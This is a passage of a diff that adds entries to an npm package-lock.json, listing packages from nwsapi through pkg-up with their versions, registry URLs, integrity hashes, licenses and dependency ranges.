20589+ "url": "https://github.com/fb55/nth-check?sponsor=1"
20590+ }
20591+ },
20592+ "node_modules/nwsapi": {
20593+ "version": "2.2.23",
20594+ "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz",
20595+ "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==",
20596+ "license": "MIT"
20597+ },
20598+ "node_modules/oauth-sign": {
20599+ "version": "0.9.0",
20600+ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
20601+ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==",
20602+ "license": "Apache-2.0",
20603+ "engines": {
20604+ "node": "*"
20605+ }
20606+ },
20607+ "node_modules/object-assign": {
20608+ "version": "4.1.1",
20609+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
20610+ "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
20611+ "license": "MIT",
20612+ "engines": {
20613+ "node": ">=0.10.0"
20614+ }
20615+ },
20616+ "node_modules/object-hash": {
20617+ "version": "3.0.0",
20618+ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
20619+ "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
20620+ "license": "MIT",
20621+ "engines": {
20622+ "node": ">= 6"
20623+ }
20624+ },
20625+ "node_modules/object-inspect": {
20626+ "version": "1.13.4",
20627+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
20628+ "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
20629+ "license": "MIT",
20630+ "engines": {
20631+ "node": ">= 0.4"
20632+ },
20633+ "funding": {
20634+ "url": "https://github.com/sponsors/ljharb"
20635+ }
20636+ },
20637+ "node_modules/object-is": {
20638+ "version": "1.1.6",
20639+ "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.6.tgz",
20640+ "integrity": "sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==",
20641+ "license": "MIT",
20642+ "dependencies": {
20643+ "call-bind": "^1.0.7",
20644+ "define-properties": "^1.2.1"
20645+ },
20646+ "engines": {
20647+ "node": ">= 0.4"
20648+ },
20649+ "funding": {
20650+ "url": "https://github.com/sponsors/ljharb"
20651+ }
20652+ },
20653+ "node_modules/object-keys": {
20654+ "version": "1.1.1",
20655+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
20656+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
20657+ "license": "MIT",
20658+ "engines": {
20659+ "node": ">= 0.4"
20660+ }
20661+ },
20662+ "node_modules/object.assign": {
20663+ "version": "4.1.7",
20664+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz",
20665+ "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==",
20666+ "license": "MIT",
20667+ "dependencies": {
20668+ "call-bind": "^1.0.8",
20669+ "call-bound": "^1.0.3",
20670+ "define-properties": "^1.2.1",
20671+ "es-object-atoms": "^1.0.0",
20672+ "has-symbols": "^1.1.0",
20673+ "object-keys": "^1.1.1"
20674+ },
20675+ "engines": {
20676+ "node": ">= 0.4"
20677+ },
20678+ "funding": {
20679+ "url": "https://github.com/sponsors/ljharb"
20680+ }
20681+ },
20682+ "node_modules/object.entries": {
20683+ "version": "1.1.9",
20684+ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.9.tgz",
20685+ "integrity": "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==",
20686+ "license": "MIT",
20687+ "dependencies": {
20688+ "call-bind": "^1.0.8",
20689+ "call-bound": "^1.0.4",
20690+ "define-properties": "^1.2.1",
20691+ "es-object-atoms": "^1.1.1"
20692+ },
20693+ "engines": {
20694+ "node": ">= 0.4"
20695+ }
20696+ },
20697+ "node_modules/object.fromentries": {
20698+ "version": "2.0.8",
20699+ "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz",
20700+ "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==",
20701+ "license": "MIT",
20702+ "dependencies": {
20703+ "call-bind": "^1.0.7",
20704+ "define-properties": "^1.2.1",
20705+ "es-abstract": "^1.23.2",
20706+ "es-object-atoms": "^1.0.0"
20707+ },
20708+ "engines": {
20709+ "node": ">= 0.4"
20710+ },
20711+ "funding": {
20712+ "url": "https://github.com/sponsors/ljharb"
20713+ }
20714+ },
20715+ "node_modules/object.getownpropertydescriptors": {
20716+ "version": "2.1.9",
20717+ "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.9.tgz",
20718+ "integrity": "sha512-mt8YM6XwsTTovI+kdZdHSxoyF2DI59up034orlC9NfweclcWOt7CVascNNLp6U+bjFVCVCIh9PwS76tDM/rH8g==",
20719+ "license": "MIT",
20720+ "dependencies": {
20721+ "array.prototype.reduce": "^1.0.8",
20722+ "call-bind": "^1.0.8",
20723+ "define-properties": "^1.2.1",
20724+ "es-abstract": "^1.24.0",
20725+ "es-object-atoms": "^1.1.1",
20726+ "gopd": "^1.2.0",
20727+ "safe-array-concat": "^1.1.3"
20728+ },
20729+ "engines": {
20730+ "node": ">= 0.4"
20731+ },
20732+ "funding": {
20733+ "url": "https://github.com/sponsors/ljharb"
20734+ }
20735+ },
20736+ "node_modules/object.groupby": {
20737+ "version": "1.0.3",
20738+ "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz",
20739+ "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==",
20740+ "license": "MIT",
20741+ "dependencies": {
20742+ "call-bind": "^1.0.7",
20743+ "define-properties": "^1.2.1",
20744+ "es-abstract": "^1.23.2"
20745+ },
20746+ "engines": {
20747+ "node": ">= 0.4"
20748+ }
20749+ },
20750+ "node_modules/object.values": {
20751+ "version": "1.2.1",
20752+ "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz",
20753+ "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==",
20754+ "license": "MIT",
20755+ "dependencies": {
20756+ "call-bind": "^1.0.8",
20757+ "call-bound": "^1.0.3",
20758+ "define-properties": "^1.2.1",
20759+ "es-object-atoms": "^1.0.0"
20760+ },
20761+ "engines": {
20762+ "node": ">= 0.4"
20763+ },
20764+ "funding": {
20765+ "url": "https://github.com/sponsors/ljharb"
20766+ }
20767+ },
20768+ "node_modules/obuf": {
20769+ "version": "1.1.2",
20770+ "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
20771+ "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==",
20772+ "license": "MIT"
20773+ },
20774+ "node_modules/on-finished": {
20775+ "version": "2.4.1",
20776+ "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
20777+ "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
20778+ "license": "MIT",
20779+ "dependencies": {
20780+ "ee-first": "1.1.1"
20781+ },
20782+ "engines": {
20783+ "node": ">= 0.8"
20784+ }
20785+ },
20786+ "node_modules/on-headers": {
20787+ "version": "1.1.0",
20788+ "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.1.0.tgz",
20789+ "integrity": "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==",
20790+ "license": "MIT",
20791+ "engines": {
20792+ "node": ">= 0.8"
20793+ }
20794+ },
20795+ "node_modules/once": {
20796+ "version": "1.4.0",
20797+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
20798+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
20799+ "license": "ISC",
20800+ "dependencies": {
20801+ "wrappy": "1"
20802+ }
20803+ },
20804+ "node_modules/onetime": {
20805+ "version": "5.1.2",
20806+ "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
20807+ "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
20808+ "license": "MIT",
20809+ "dependencies": {
20810+ "mimic-fn": "^2.1.0"
20811+ },
20812+ "engines": {
20813+ "node": ">=6"
20814+ },
20815+ "funding": {
20816+ "url": "https://github.com/sponsors/sindresorhus"
20817+ }
20818+ },
20819+ "node_modules/open": {
20820+ "version": "8.4.2",
20821+ "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz",
20822+ "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==",
20823+ "license": "MIT",
20824+ "dependencies": {
20825+ "define-lazy-prop": "^2.0.0",
20826+ "is-docker": "^2.1.1",
20827+ "is-wsl": "^2.2.0"
20828+ },
20829+ "engines": {
20830+ "node": ">=12"
20831+ },
20832+ "funding": {
20833+ "url": "https://github.com/sponsors/sindresorhus"
20834+ }
20835+ },
20836+ "node_modules/optionator": {
20837+ "version": "0.9.4",
20838+ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
20839+ "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==",
20840+ "license": "MIT",
20841+ "dependencies": {
20842+ "deep-is": "^0.1.3",
20843+ "fast-levenshtein": "^2.0.6",
20844+ "levn": "^0.4.1",
20845+ "prelude-ls": "^1.2.1",
20846+ "type-check": "^0.4.0",
20847+ "word-wrap": "^1.2.5"
20848+ },
20849+ "engines": {
20850+ "node": ">= 0.8.0"
20851+ }
20852+ },
20853+ "node_modules/os-browserify": {
20854+ "version": "0.3.0",
20855+ "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz",
20856+ "integrity": "sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A==",
20857+ "license": "MIT"
20858+ },
20859+ "node_modules/own-keys": {
20860+ "version": "1.0.1",
20861+ "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz",
20862+ "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==",
20863+ "license": "MIT",
20864+ "dependencies": {
20865+ "get-intrinsic": "^1.2.6",
20866+ "object-keys": "^1.1.1",
20867+ "safe-push-apply": "^1.0.0"
20868+ },
20869+ "engines": {
20870+ "node": ">= 0.4"
20871+ },
20872+ "funding": {
20873+ "url": "https://github.com/sponsors/ljharb"
20874+ }
20875+ },
20876+ "node_modules/p-limit": {
20877+ "version": "2.3.0",
20878+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
20879+ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
20880+ "license": "MIT",
20881+ "dependencies": {
20882+ "p-try": "^2.0.0"
20883+ },
20884+ "engines": {
20885+ "node": ">=6"
20886+ },
20887+ "funding": {
20888+ "url": "https://github.com/sponsors/sindresorhus"
20889+ }
20890+ },
20891+ "node_modules/p-locate": {
20892+ "version": "4.1.0",
20893+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
20894+ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
20895+ "license": "MIT",
20896+ "dependencies": {
20897+ "p-limit": "^2.2.0"
20898+ },
20899+ "engines": {
20900+ "node": ">=8"
20901+ }
20902+ },
20903+ "node_modules/p-retry": {
20904+ "version": "4.6.2",
20905+ "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz",
20906+ "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==",
20907+ "license": "MIT",
20908+ "dependencies": {
20909+ "@types/retry": "0.12.0",
20910+ "retry": "^0.13.1"
20911+ },
20912+ "engines": {
20913+ "node": ">=8"
20914+ }
20915+ },
20916+ "node_modules/p-try": {
20917+ "version": "2.2.0",
20918+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
20919+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
20920+ "license": "MIT",
20921+ "engines": {
20922+ "node": ">=6"
20923+ }
20924+ },
20925+ "node_modules/pako": {
20926+ "version": "1.0.11",
20927+ "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
20928+ "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==",
20929+ "license": "(MIT AND Zlib)"
20930+ },
20931+ "node_modules/param-case": {
20932+ "version": "3.0.4",
20933+ "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz",
20934+ "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==",
20935+ "license": "MIT",
20936+ "dependencies": {
20937+ "dot-case": "^3.0.4",
20938+ "tslib": "^2.0.3"
20939+ }
20940+ },
20941+ "node_modules/param-case/node_modules/tslib": {
20942+ "version": "2.8.1",
20943+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
20944+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
20945+ "license": "0BSD"
20946+ },
20947+ "node_modules/parent-module": {
20948+ "version": "1.0.1",
20949+ "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
20950+ "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
20951+ "license": "MIT",
20952+ "dependencies": {
20953+ "callsites": "^3.0.0"
20954+ },
20955+ "engines": {
20956+ "node": ">=6"
20957+ }
20958+ },
20959+ "node_modules/parse-asn1": {
20960+ "version": "5.1.9",
20961+ "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.9.tgz",
20962+ "integrity": "sha512-fIYNuZ/HastSb80baGOuPRo1O9cf4baWw5WsAp7dBuUzeTD/BoaG8sVTdlPFksBE2lF21dN+A1AnrpIjSWqHHg==",
20963+ "license": "ISC",
20964+ "dependencies": {
20965+ "asn1.js": "^4.10.1",
20966+ "browserify-aes": "^1.2.0",
20967+ "evp_bytestokey": "^1.0.3",
20968+ "pbkdf2": "^3.1.5",
20969+ "safe-buffer": "^5.2.1"
20970+ },
20971+ "engines": {
20972+ "node": ">= 0.10"
20973+ }
20974+ },
20975+ "node_modules/parse-headers": {
20976+ "version": "2.0.6",
20977+ "resolved": "https://registry.npmjs.org/parse-headers/-/parse-headers-2.0.6.tgz",
20978+ "integrity": "sha512-Tz11t3uKztEW5FEVZnj1ox8GKblWn+PvHY9TmJV5Mll2uHEwRdR/5Li1OlXoECjLYkApdhWy44ocONwXLiKO5A==",
20979+ "license": "MIT"
20980+ },
20981+ "node_modules/parse-json": {
20982+ "version": "5.2.0",
20983+ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
20984+ "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
20985+ "license": "MIT",
20986+ "dependencies": {
20987+ "@babel/code-frame": "^7.0.0",
20988+ "error-ex": "^1.3.1",
20989+ "json-parse-even-better-errors": "^2.3.0",
20990+ "lines-and-columns": "^1.1.6"
20991+ },
20992+ "engines": {
20993+ "node": ">=8"
20994+ },
20995+ "funding": {
20996+ "url": "https://github.com/sponsors/sindresorhus"
20997+ }
20998+ },
20999+ "node_modules/parse5": {
21000+ "version": "6.0.1",
21001+ "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz",
21002+ "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==",
21003+ "license": "MIT"
21004+ },
21005+ "node_modules/parseurl": {
21006+ "version": "1.3.3",
21007+ "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
21008+ "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
21009+ "license": "MIT",
21010+ "engines": {
21011+ "node": ">= 0.8"
21012+ }
21013+ },
21014+ "node_modules/pascal-case": {
21015+ "version": "3.1.2",
21016+ "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
21017+ "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
21018+ "license": "MIT",
21019+ "dependencies": {
21020+ "no-case": "^3.0.4",
21021+ "tslib": "^2.0.3"
21022+ }
21023+ },
21024+ "node_modules/pascal-case/node_modules/tslib": {
21025+ "version": "2.8.1",
21026+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
21027+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
21028+ "license": "0BSD"
21029+ },
21030+ "node_modules/path-browserify": {
21031+ "version": "1.0.1",
21032+ "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz",
21033+ "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==",
21034+ "license": "MIT"
21035+ },
21036+ "node_modules/path-exists": {
21037+ "version": "4.0.0",
21038+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
21039+ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
21040+ "license": "MIT",
21041+ "engines": {
21042+ "node": ">=8"
21043+ }
21044+ },
21045+ "node_modules/path-is-absolute": {
21046+ "version": "1.0.1",
21047+ "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
21048+ "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
21049+ "license": "MIT",
21050+ "engines": {
21051+ "node": ">=0.10.0"
21052+ }
21053+ },
21054+ "node_modules/path-key": {
21055+ "version": "3.1.1",
21056+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
21057+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
21058+ "license": "MIT",
21059+ "engines": {
21060+ "node": ">=8"
21061+ }
21062+ },
21063+ "node_modules/path-parse": {
21064+ "version": "1.0.7",
21065+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
21066+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
21067+ "license": "MIT"
21068+ },
21069+ "node_modules/path-to-regexp": {
21070+ "version": "0.1.12",
21071+ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
21072+ "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==",
21073+ "license": "MIT"
21074+ },
21075+ "node_modules/path-type": {
21076+ "version": "4.0.0",
21077+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
21078+ "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
21079+ "license": "MIT",
21080+ "engines": {
21081+ "node": ">=8"
21082+ }
21083+ },
21084+ "node_modules/paytmchecksum": {
21085+ "version": "1.5.1",
21086+ "resolved": "https://registry.npmjs.org/paytmchecksum/-/paytmchecksum-1.5.1.tgz",
21087+ "integrity": "sha512-RnimtEcnP3b7FiakPYkyO416UubaUflG5e2HlM2UYhryZ9wXwoRZ5k8XEK4wxaK+d7qIzWDMFUo1LICgaU+J0A=="
21088+ },
21089+ "node_modules/pbkdf2": {
21090+ "version": "3.1.5",
21091+ "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.5.tgz",
21092+ "integrity": "sha512-Q3CG/cYvCO1ye4QKkuH7EXxs3VC/rI1/trd+qX2+PolbaKG0H+bgcZzrTt96mMyRtejk+JMCiLUn3y29W8qmFQ==",
21093+ "license": "MIT",
21094+ "dependencies": {
21095+ "create-hash": "^1.2.0",
21096+ "create-hmac": "^1.1.7",
21097+ "ripemd160": "^2.0.3",
21098+ "safe-buffer": "^5.2.1",
21099+ "sha.js": "^2.4.12",
21100+ "to-buffer": "^1.2.1"
21101+ },
21102+ "engines": {
21103+ "node": ">= 0.10"
21104+ }
21105+ },
21106+ "node_modules/performance-now": {
21107+ "version": "2.1.0",
21108+ "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
21109+ "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==",
21110+ "license": "MIT"
21111+ },
21112+ "node_modules/picocolors": {
21113+ "version": "1.1.1",
21114+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
21115+ "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
21116+ "license": "ISC"
21117+ },
21118+ "node_modules/picomatch": {
21119+ "version": "4.0.3",
21120+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
21121+ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
21122+ "license": "MIT",
21123+ "engines": {
21124+ "node": ">=12"
21125+ },
21126+ "funding": {
21127+ "url": "https://github.com/sponsors/jonschlinkert"
21128+ }
21129+ },
21130+ "node_modules/pify": {
21131+ "version": "2.3.0",
21132+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
21133+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
21134+ "license": "MIT",
21135+ "engines": {
21136+ "node": ">=0.10.0"
21137+ }
21138+ },
21139+ "node_modules/pirates": {
21140+ "version": "4.0.7",
21141+ "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",
21142+ "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==",
21143+ "license": "MIT",
21144+ "engines": {
21145+ "node": ">= 6"
21146+ }
21147+ },
21148+ "node_modules/pkg-dir": {
21149+ "version": "4.2.0",
21150+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
21151+ "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
21152+ "license": "MIT",
21153+ "dependencies": {
21154+ "find-up": "^4.0.0"
21155+ },
21156+ "engines": {
21157+ "node": ">=8"
21158+ }
21159+ },
21160+ "node_modules/pkg-up": {
21161+ "version": "3.1.0",
21162+ "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz",
21163+ "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==",
21164+ "license": "MIT",
21165+ "dependencies": {
21166+ "find-up": "^3.0.0"
21167+ },
21168+ "engines": {
21169+ "node": ">=8"
21170+ }
21171+ },
21172+ "node_modules/pkg-up/node_modules/find-up": {
21173+ "version": "3.0.0",
21174+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
21175+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
21176+ "license": "MIT",
21177+ "dependencies": {
21178+ "locate-path": "^3.0.0"
21179+ },
21180+ "engines": {
21181+ "node": ">=6"
21182+ }
21183+ },
21184+ "node_modules/pkg-up/node_modules/locate-path": {
21185+ "version": "3.0.0",
21186+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
21187+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
21188+ "license": "MIT",
21189+ "dependencies": {
21190+ "p-locate": "^3.0.0",
21191+ "path-exists": "^3.0.0"
21192+ },
21193+ "engines": {
21194+ "node": ">=6"
21195+ }
21196+ },
21197+ "node_modules/pkg-up/node_modules/p-locate": {
21198+ "version": "3.0.0",
21199+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
21200+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
21201+ "license": "MIT",
21202+ "dependencies": {
21203+ "p-limit": "^2.0.0"
21204+ },
21205+ "engines": {
21206+ "node": ">=6"
21207+ }
21208+ },
21209+ "node_modules/pkg-up/node_modules/path-exists": {
21210+ "version": "3.0.0",
21211+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
21212+ "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
21213+ "license": "MIT",
21214+ "engines": {
21215+ "node": ">=4"
21216+ }
21217+ },
21218+ "node_modules/pngjs": {
